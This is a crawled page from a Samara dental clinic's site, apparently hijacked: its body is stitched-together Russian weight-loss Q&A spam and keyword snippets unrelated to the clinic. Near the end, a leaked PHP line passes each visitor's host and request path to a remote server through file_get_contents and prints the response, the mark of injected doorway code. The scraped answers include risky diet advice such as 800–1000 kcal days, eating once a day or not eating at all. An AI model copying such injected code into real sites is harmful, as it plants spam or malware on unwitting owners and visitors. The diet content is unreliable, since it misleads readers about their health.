Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Напишите все фрукты (а это те которые можно купить в любом рынке) по калорийности . И те которые лучше есть при похудении

Грейпфрут проверено !

Возможно расчет нормы калорий для похудения вам покажется немного сложноватым, но это только на первый взгляд.E Часть калорий, поступающих с пищей не усваивается. В основном это продукты, которые содержат большое количество волокон.

Пей воду с лимоном. Неплохой жиросжигатель. И еще. Грамм 50 меда и грамм 30 орехов. И все залит грейпфруктовым или апельсиновым соком. Тоже неплохой жиросжигатель. Ну и физ упражнения разумеется

Смотрите таблицу калорийности продуктов в нэте. но одних калорий для жизни и полноценного развития недостаточно.

Салат из яблок, сельдерея и йогурта беспроцентного ешь 2 раза в неделю.

Как думаете,клубника калорийный продукт? можно ли похудеть, питаясь одной клубникой?

От одной клубники Вы не похудеете, а от аллергии свалитесь. Вот и все.

Главная Похудение Самые калорийные продукты.Наибольшей калорийностью из всех продуктов обладают подсолнечное масло 900 ккал , сливочное масло 750 ккал , бекон, жирная свинина, сырокопченая колбаса 470 ккал , майонез 630 ккал , орехи, шоколад и наполненные...

Нет, не калорийный. Есть клубничная диета.

Конечно можно. Худей на здоровье:)

В клубнике много витаминов, но только на клубнике не похудеешь, так как в ней много сахара, можно есть но в умеренных количествах!

Кушайте на здоровье. Не поправитесь, но одну клубнику лучше не есть, тушите овощи еще кушайте. Сейчас самое время)

В ней сахароза есть и если много есть то толку нету

Таблица калорийности продуктов для похудения. Перед тем как начать терять вес, рекомендуем вам разобраться в чем суть калорий и как они используются для похудения.

Клубника-это супер продукт для сброса веса!
она низкокалорина, вкусна и полезна

Будет просто шикааарная аллергия, Так как этот продукт чуть ли не на первом месте, а аллергены имеют свойство накапливаться в организме а потом давать жуткую реакцию. Хотя, решать тебе, как сказала одна моя знакомая "Да, могу умереть от голода, но умру красивой")

Для того что бы похудеть многие смотрят на калорийность продукта. правильно ли это

Только это и правильно!

Низкокалорийные продукты для похудения. Таблица низкокалорийных продуктов для похудения.Таблица низкокалорийных продуктов для похудения показывает, что некоторые из фруктов по калорийности значительно превышают употребление отварного постного мяса...

Всё это хрень! Люди жиреют вовсе не от калорийности и прочего, а от вредной и неестественной для них пищи (не считая малоподвижного образа жизни и прочего).

Все правильно, но эти калории должны сгорать, если просто сидеть на жопе и считать калории, то похудеть не реально.

Пишут там в основном неведомо что

Как похудеть дома?

Повесить амбарный замок на холодильник.

Овощи - самая легкая еда для похудения.И если не заправлять все маонезом, можно очень даже вкусно худеть.Низкокалорийные рецепты с указанием калорий. Калорийность продуктов питания, таблица калорийности.

По рецепту А Пугачевой, если есть деньги ...

Есть больше овощей и фруктов, меньше жирного и сладкого. Больше двигаться.

Продукты с отрицательной калорийностью + спорт! Хотя бы зарядка дома итп.

Как реально похудеть

Отказаться от соли вообще!!!!

Калорийность продуктов для похудения стоит учитывать при создании своей диеты. Она может быть молочно-растительной или белково-растительной, что гарантирует быстрое и эффективное исчезновение лишнего веса.

Не жрать! Крачковская так сказала.

Есть один раз в сутки. ужин. в день -0,5 - 1 кг

Перестать кушать высококалорийные продукты. Калорийность продуктов есть в Инете.

Если есть в кого-влюбитесь, очень эффективно!

Можно ли кушать горбушу на ужин в целях похудения?

Калорийность горбуши на 100 гр продукта 147 калорий. Другое дело что она рыба жирная. Я бы не советовал на ужин

Калорийность продуктов питания количественная мера энергии, которая выделяется в организме при расщеплении пищи.При похудении исключать из меню цельнозерновые продукты нельзя они содержат достаточно питательных веществ, клетчатку и антиоксиданты...

Лучше приготовленную на пару и с зеленью. Самое то на ужин в качестве не только диетического продукта, но и здорового питания.

Http://bodypumping.ru/pitanie/tabliczy/80-tablicza-kalorijnosti-soderzhaniya-belkov-zhirov-i-uglevodov.html таблица содержания белков жиров и углеводов. во время диеты можно кушать любую рыбу с минимумом содержания жира, без кожи. ищите в таблице.

Отличный ужин) только если ее не жарить)

Что нужно есть чтобы похудеть?какие продукты и блюда менее калорийны?

Овощи

Но, как считают специалисты, делать этого не следует 20% это то число, при котором осуществляется максимально здоровое и правильное похудение. Калорийность основных продуктов питания.

Не надо есть.

Капуста и кефир.

Питаться нужно обязательно!
Пить много - обычная вода, минералка, зеленый чай. В литрах - около 2.
Можно устраивать разгрузочные дни - типа на яблоках, кефире. (Возможно "пронесет", но это очищает кишечник - раз в неделю-две)
Диетическим считается мясо курицы, рыбы. Овощи. Готовить на пару, солить мало. Овощи лучше сырыми.
И лучше всего проконсультироваться с врачом - организмы разные. ГЛАВНЫЙ ПРИНЦИП - не сделать хуже.
И необходимы физ. нагрузки - плавание - оптимально. Укрепляет сердечно-сосудистую систему, тренирует все группы мышц и дыхание.
Резко худеть нельзя - это трудно для организма и впоследствии вес набирается быстрее.
Лучше спланировать индивидуальный режим питания и физ. нагрузок. И придерживаться его постоянно.
ВАЖНО!!!! Хорошее внутреннее самочувствие. !!
Будут вопросы - обращайтесь, напишу подробнее.

Понимаете дело не в продуктах, а в их правильной совместимости . картофель отварной или рис отварной с овощами полезны и не откладываются как например картофель+мясо. или мясо+ макароны . раздельное питание это когда белки не смешиваются с крахмалами и углеводами/ касательно вашего вопроса гречка, нут, чечевица, постное мясо, индейка, курица без кожи, рыбы морские, перец болгарский, капуста, петрушка, сельдерей, морковь, кефир 1%-ый. огурцы, салат

Каши на воде, фрукты, овощи, рыба, курица, морепродукты, молочные продукты

Здесь представлена одна из самых полных таблиц калорийности продуктов питания. Все данные указаны на 100 грамм продукта, кроме раздела McDonalds, где приведены данные на одну порцию.Есть и худеть. Мотивация к похудению.

Список огромен.. вот самые самые из опыта:
овощи
фрукты
ягоды
грибы
морская капуста натуральная
рис на воде или овсянка тоже на воде
молочные обезжиренные продукты
хлебцы, отруби вместо хлеба
рыба отварная
морепродукты
куриная грудка постная

Правда ли, что мюсли очень калорийны? можно ли их употреблять при похудении, если понемножку?

В мюсли, как и во всех злаковых, крупах и макаронных изделиях, около 300 ккал. А поправляются не от углеводов, а от их избытка и неправильного сочетания продуктов.

Расчет калорий в день. Калькулятор калорий рассчитывает суточную потребность в калориях для похудения или набора массы по 6 формулам.На упаковках продуктов могут указывать калорийность продуктов как ккак , так и кал , и обозначать это будет килокалории.

Чтоб такого съесть,...чтоб похудеть???

Не ешьте после шести. только яблоко, иногда кефир, чай со сладисом

Тем не менее, калорийность продуктов для похудения настолько мала, что блюда из таких продуктов, насыщая человека так как за сч т клетчатки и большого содержания воды имеют большой объ м , образуют в организме некоторый энергетический дефицит.

Ногу...

Ответом на этот глупый вопрос будет "чтоб такого НЕ съесть чтоб похудеть"

Ничего))

Ну.. . что-нибудь несвежее, или арбузик нитратный.

Кушайте здоровую пищу, к примеру на пару, меньше соли/специй, больше овощей, свежих продуктов. не обращайте внимание на бездарные с медицинской точки зрения диеты, лучше сходите к доктору, диетологу, он составит рацион питания.
если хватит силы воли питаться правильно, потеряете лишние килограммы (если есть) и укрепите здоровье

Обзор некоторых низкокалорийных продуктов. При выборе продуктов для похудения обращайте внимание на их низкую калорийность и на то, сколько пользы они смогут принести конкретно вашему организму.

Воздух. .
лучше чистый кислород, и сразу выдыхай.

Арбузная диета.
а куда вам ещё худеть???? 7

)))))))кушай все! до 6

Нужно пить сок из корня и стеблей сельдерея на ночь по стакану. Я испытал на себе -10кг за 8 мес!

Знаете, есть очень хороший фильм первого канала с таким вот названием "Что съесть, чтобы похудеть". Меня фильм очень впечатлил! ! Причём не о идиотских диетах рассказывается, а диетологи говорят, как правильно питаться. Во сколько, по сколько.. . Я поверила и стала делать так, как там говорят. В результате прекрасное самочквствие и офигенный вес! Я так с пятого класса не весила!!!! А мне уже 24))))))) Этот фильм вконтакте есть. Посмотрите!!!!

Расчет суточной потребности калорий 1376 х 1.2 1653.6 Ккал. Значит, программа для ее похудения должна состоять из блюд на приблизительно такую калорийность. Как определить калорийность продуктов с помощью таблицы.

Поменьше мучного, побольше ночного!!!

Как правильно считать калории чтобы худеть?

Пиши - расскажу
angel100@inbox.ru

Например, зефир и пастила при похудении вполне полезная альтернатива куску калорийного торта или жирного пирожного.Можно ли зефир при похудении? Да, так как в его составе отсутствует жир, а калорийность колеблется в пределах 300 ккал на 100 граммов продукта.

Не есть больше 1000 калорий в день...

Нужно, в день съедать не больше 1200 калорий, и еще хорошо бы спортом заниматься, будет более эффективно

Существует справочник по составу продуктов там все написано вчем сколько чего. твоя задача тратить больше того чем потребляеш. за подробн. обрщ.

Это сложно.Лучше перейди на кремлевскую диету - там худеющим здорово облегчили задачу, чтобы те не путались и не сделали себе еще хуже.

В программе ешь и худей рассказывают о продуктах с отрицательной калорийностью

Это миф. Обьясняется он так: для переваривания таких продуктов требуется калорий больше, чем содержится в этом продукте.

Таким образом 1200 калорий 1200 килокалорий 1 1 . Данное правило справедливо для продуктов питания как в России так и за рубежом, где килокалории обозначают Calories или Cal. Какие продукты употреблять при похудении снижении веса ?

Капуста например квашенная.

Все овощи зеленого цвета кроме авокадо антикалорийны.

Чио

Нет таких продуктов. есть такие на съедение и переваривание которых затрачивается больше энергии (т. е. ккал) , чем вообще содержится в этом продукте.
ой сорри, не посмотрела на ответы, прежде чем отвечать

Как похудеть?

Спорт-диета и т. д

Отрицательная калорийность продуктов и похудение. Идеальная фигура Все о похудении 24.12.2014 18 34. Когда мы едим продукты с отрицательной калорийностью, то организм получает определенное количество калорий.

Тебе фитнес и ограничение в еде

Сижу на одной диете . Уже 7 недель Похудел на 14 кг Отвечаю только на емейл

Набираешь вес от калорийных продуктов в этом числе от фруктов, где глюкоза там калории.
остаются овощи и твои фантазии в приготовлении.

Мало кушать надо, а калорий много тратить.

Как говорила покойная Гурченко: - "Не жрать! "

Какие продукты нельзя есть при похудении? Смотрим на калорийность! Огромное значение в процессе похудения имеет перестройка питания, а именно отказ от целого ряда продуктов, которые могут не просто затормозить, но и вовсе остановить данный процесс.

Что лучше считать калорийность продуктов чтобы похудеть или придерживаться диеты?

А оно вам надо? оставайтесь такой какая вы есть.

Калории калориям - рознь! И одно из таких очень распространенных заблуждений, это думать, что чем более сытный продукт, тем он более калорийный.Таблица калорийности продуктов. Обмен веществ при похудении.

Побольше двигаться и бывать на свежем воздухе! А еще плавать. Радоваться жизни тоже помогает. Можно еще влюбиться по уши!!!

Если вечером УЖАСНО хочется кушать (что не нужно делать в идеале) - кушай ЛЕГКУЮ и ЖИВУЮ пищу - фрукты, овощи. .
Цветная капуста - идеальное решение (Варенная) :) И вкусно и не калорийно, но при этот есть эффект сытости! :)
я всегда ее ем! :)

По меньше есть!!!

Конечно придерживаться диеты-ведь некоторые продукты не совместимы и их малая каллорийность не даст вам сбросить вес.
а в диетах собраны продукты, которые приносят пользу.

Считать нутриенты на килограмм веса тела. Дальше играться балансом белков/углеводов плюс не забывать о типах потребляемых угеводов. Жиры приблизительная константа из расчета ложка растительного масла на 25 кг веса тела. Для начала брать приблизительно 1 гр белка на кг веса и 2-2.5 гр углеводов, дальше по ходу того как идет процесс исходя из его динамики повышать белок и понижать углеводы. Жиры не трогать.

Метки калорийность, таблица калорийности готовых блюд, калорийность продуктов и готовых блюд, калорийность готовых блюд.Рекомедации по похудению и набору веса Калькулятор идеального веса, индекс массы тела, расч т коридора калорийности...

И то и другое делать

Все знают миллионы диет для похудения... А как потолстеть?

Не стоит. Если совсем ничего не "помогает", пусть так оно и останется.
Дополнено не зря - завидуют, проще игнорировать.

Запрещ нные продукты при похудении. В нелегком деле похудения не бывает мелочей это знает каждая женщина.Например, в пункте 1 мы рассмотрели калорийность жирных продуктов. Но это не означает автоматический отказ от жиров они нужны для нормального...

Жри все жирное сладкое, жри много и часто, не ходи, лежи на диване: DD

Посоветую черную икру - очень калорийный продукт :)

Толстеть не надо, надо мышцы нарастить, а не жир. Это спорт и питание (белки и сложные углеводы)

Где можно скачать таблицу калорийности продуктов. хочу похудеть! вешу 63, а хочу весить 55.

На Леди Маил. Ру в рубрике Красота и Здоровье есть таблица калорийности всех продуктов - не реклама, сама пользуюсь!

Калорийность продуктов.Специалисты считают, что завтрак при похудении очень важен, так как чаще всего стремительный набор избыточного веса встречается тогда, когда имеются разнообразные нарушения в обмене веществ.

Как похудеть кормящей маме?

Закнчишь кормить, тогда быстрее похудеешь. А пока не надо.

При таком подходе человек может поглощать практически любые продукты, главное, чтобы они относились к категории здоровой пищи.Поэтому, чтобы ответить на вопрос - можно ли суши при похудении, нужно разобраться в калорийности предлагаемого блюда.

Не есть, делать зарядку

Никак. пока кормишь не худеешь. потом похудеешь

Кормить, кормить и еще раз кормить

Я бы не советовала ХУДЕТЬ кормящей маме. Только физические упражнения и никаких ограничений! сама кормлю. Как закончу усиленно начну! ;)
Успехов!

Двигаться побольше, и не надо есть все что попало и в большом количестве. Поверьте все это вашему ребеночку не нужно

Данную таблицу можно очень удобно редактировать, добавлять в нее новые продукты и группы продуктов, осуществлять поиск при помощи ПРОГРАММЫ РАЦИОН скачать программу . Таблица калорийности продуктов в 100 граммах . Название. Кал-ть Ккал .

Да на самом деле это возможно и не вредно для ребенка.. .
Просто надо есть все вареное, тушеное, не жирное, не жареное, не острое и т. д.. .
Результат не заставит себя ждать....

Есть нормально, а не за двоих.

А если бросить пить любой алкоголь то на-сколько и за сколько можно похудеть?

Если будешь жрать как лошадь то никак
а вообще алкоголь оч калориен
двигайся побольше

Всегда актуальная информация о диетах и похудении.Калорийность пищевых продуктов измеряется в килокалориях ккал . Эта же величина ассоциируется с таким понятием, как пищевая калория .

Толстеют не от алкоголя а от съеденного в закуску. но бросить пить это похвально это путь к здоровью. А похудеть можно лишь двигаясь а не лежа на диване.

Бросать однозначно нужно

Я не употребляю алкоголь и не худею.

Можна есть пшеничную кашу и рис без спецый и соли,если я хочу похудеть???

Не рекомендую - это очень калорийные продукты, богатые углеводами. Это все равно, что ждать похудения от питания булочками... пусть и без соли...

Эволюционная Методика Похудения ЭМП - избавление от лишнего веса на основе оздоровления организма.Камбала. Калорийность продуктов - Калорийность рыбы морепродуктов худеющим.

Пшеничку не надо. рис можно, гречку, пшонку. Бабкина так худела. но по мне лучше еште салаты овощные без соли и соусов

Как похудеть на4кг за неделю

Можно но опасно для здоровья -лучше 2-3-5 кг в месяц-ходьба по утрам и вечерам, после 18.00 не есть -будете скидывать только так-активный образ жизни-лучший рецепт

Зная калорийность продуктов можно подсчитать калорийность готовых блюд. Со временем Вы будете машинально определять нужную вам величину.Можно рассчитать примерное меню на 1200 калорий для похудения на день.

Диета 4х дней! ! ефективно но не увлекайтесь

Снизьте калорийность продуктов. В день не более 800-1000 калорий. Больше недели не стоит сидеть на таком ограничении. А чтобы в дальнейшем не полнеть, старайтесь придерживаться не более 1200 калорий в день. Исключения составляют праздничные дни. Желаю успехов.

А если днем питаться только фруктами (бананы, яблоки, груши) в неограниченном количестве можно похудеть?

Фрукты должны содержать мало сахаров и углеводов бананы аналог картошки, от этого не похудеешь в грушах и винограде много сахарв.. . а вот яблоки попробуйте.. . можно еще арбузы, а лучше огурцы.. . но это только разгрузочные дни а не диета

Но знать, сколько калорий находится в отдельных продуктах питания, часто бывает недостаточно, чтобыТаблица калорийности салатов. В данной таблице представлены все самые популярные салаты, калорийность которых показана из расчета на 100г. блюда.

Если добавите овощи, то ещё лучше будет и меньше бананов

Не стоит.. . организму нужно все таки получать много разных веществ, которых нет во фруктах. так что это для него будет стрессом. поэтому после такого издевательства над собой мало того, что вес вернется, так еще добавится проблем со здоровьем. худеть надо правильно. так, я похудела на 10 кило без особых усилий, без чувства голода, и плюс избавилась от болей в желудке.

Не намного... бананы нельзя при диете вообще есть... яблоки апетит нагоняют... кушай груши и апельсины...

Да можно! ! можно и нужно питаться как можно больше живыми овощами и фруктами!
лучше сезонными! теми которые выросли у нас, а не заморскими, напичканными нитратами, пестицидами и тд.
можно вообще стать вегетарианцем, килограммы полетят один за одним!

Как можно быстро похудеть

Святым духом питяться и батющке отдаться

Таблица калорийности продуктов. Мясные продукты. Птица. Рыба и морепродукты.Как правильно организовать физическую активность. Сиофор для похудения. Правильное питание в командировке.

Сходите в тренажорный или на витнес хорошо помагает

Если есть все то, что обычно, только меньше-можно ли похудеть?

Конечно! И это самый лучший способ.

Удобная таблица калорийности продуктов питания. Разбита на группы по калорийности очень низкая, низкая, умеренная, выскокая и очень высокая калорийность .Ассоциация ВИТА Медицинские и психологические Центры похудения по Сем нову.

Думаю да, но желательно отказаться от сладкого (

Точно, моожно, у меня минус 37 кг, и это именно тот способ, который я избрала, подробнее в моем дневнике
о нем пиши в личку - (не в мой мир)

Можно можно
но если у вас нереально маленький вес и вы хотите скинуть еще, то тогда вряд ли)

Конечно сбросите вес. Лучше всего считать съеденное за день. Например, в день, чтобы похудеть нужно 1200 ккал, 40-50гр белка, 30гр жира, 150гр углеводов. Если уменьшить ЕЩЕ это кол-во, вы сначала похудеете, а через нек. время вес встанет, а потом даже расти начнет, так как недополученное начнет экономить и откладывать "про запас". Нельзя также делать большие перерывы в питании (по той же причине) . Есть надо часто, понемногу. К тому же, на переваривание пищи организм тратит энергию, особенно на переваривание сырой пищи.

  • Диета обогащенная железом при беременности - Сильное головокружение, особенно когда встаю с постели или с кресла, аж в глазах темнеет Спроси врача может разрешит теб
  • Эллиптический тренажер похудение занимаюсь - Покупка тренажера Хочу купить тренажер для похудения домой, посоветуйте какой Эллиптический тренажер самый эффективный.
  • Зеленый кофе купить волгоград - Где в Волгограде купить зеленый кофе? Где купить зелёный кофе в волгограде Если собрались с его помощью худеть, то разоч
  • Имбирь используется для похудения - Правда ли, что можно похудеть с помощью имбиря? Немного. Улучшает пищеварине Как пить имбирь для похудения. Имбирь испол
  • Отзывы миостимуляторах для похудения - Крем Гуд-бай целлюлит от нивеа.Кто пользовался?Какие отзывы? И нивеа, и все остальные крема антицеллюлитные-пустая трата
  • Диета при беременности анемия - Девочки, у кого во время беременности с утра руки затекали?? Не обращайте внимания. Самое главное что проходит. В плане
  • Быстро похудеть попе ляжках - Как похудеть в бедрах и попе? Правильного питания придерживаюсь. Секас) Как похудеть в ляжках - упражнения. Для того, чт
  • Кориандр семена для похудения - Как готовить в пароварке, что вкусненького можно приготовить? В пароварке можно готовить голубцы и овощи Кориа ндр посев
  • Диета для потолстения сало - Вот скажите мне пожалуйста!у всех так или нет!когда я начинаю худеть то у меня худеют сначала ноги а потом остальное!все
  • Как убрать отечный целлюлит - Убрать ли обычной водой целлюлит отечный? Душ шарко Способны ли медицинские приборы убрать целлюлит с бедер? Жировую кле
  • Диета обогащенная железом при беременности - Сильное головокружение, особенно когда встаю с постели или с кресла, аж в глазах темнеет Спроси врача может разрешит теб
  • Эллиптический тренажер похудение занимаюсь - Покупка тренажера Хочу купить тренажер для похудения домой, посоветуйте какой Эллиптический тренажер самый эффективный.
  • Зеленый кофе купить волгоград - Где в Волгограде купить зеленый кофе? Где купить зелёный кофе в волгограде Если собрались с его помощью худеть, то разоч
  • Имбирь используется для похудения - Правда ли, что можно похудеть с помощью имбиря? Немного. Улучшает пищеварине Как пить имбирь для похудения. Имбирь испол
  • Отзывы миостимуляторах для похудения - Крем Гуд-бай целлюлит от нивеа.Кто пользовался?Какие отзывы? И нивеа, и все остальные крема антицеллюлитные-пустая трата
  • Диета при беременности анемия - Девочки, у кого во время беременности с утра руки затекали?? Не обращайте внимания. Самое главное что проходит. В плане
  • Быстро похудеть попе ляжках - Как похудеть в бедрах и попе? Правильного питания придерживаюсь. Секас) Как похудеть в ляжках - упражнения. Для того, чт
  • Кориандр семена для похудения - Как готовить в пароварке, что вкусненького можно приготовить? В пароварке можно готовить голубцы и овощи Кориа ндр посев
  • Диета для потолстения сало - Вот скажите мне пожалуйста!у всех так или нет!когда я начинаю худеть то у меня худеют сначала ноги а потом остальное!все
  • Как убрать отечный целлюлит - Убрать ли обычной водой целлюлит отечный? Душ шарко Способны ли медицинские приборы убрать целлюлит с бедер? Жировую кле
Калорийность продуктов при похудении
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта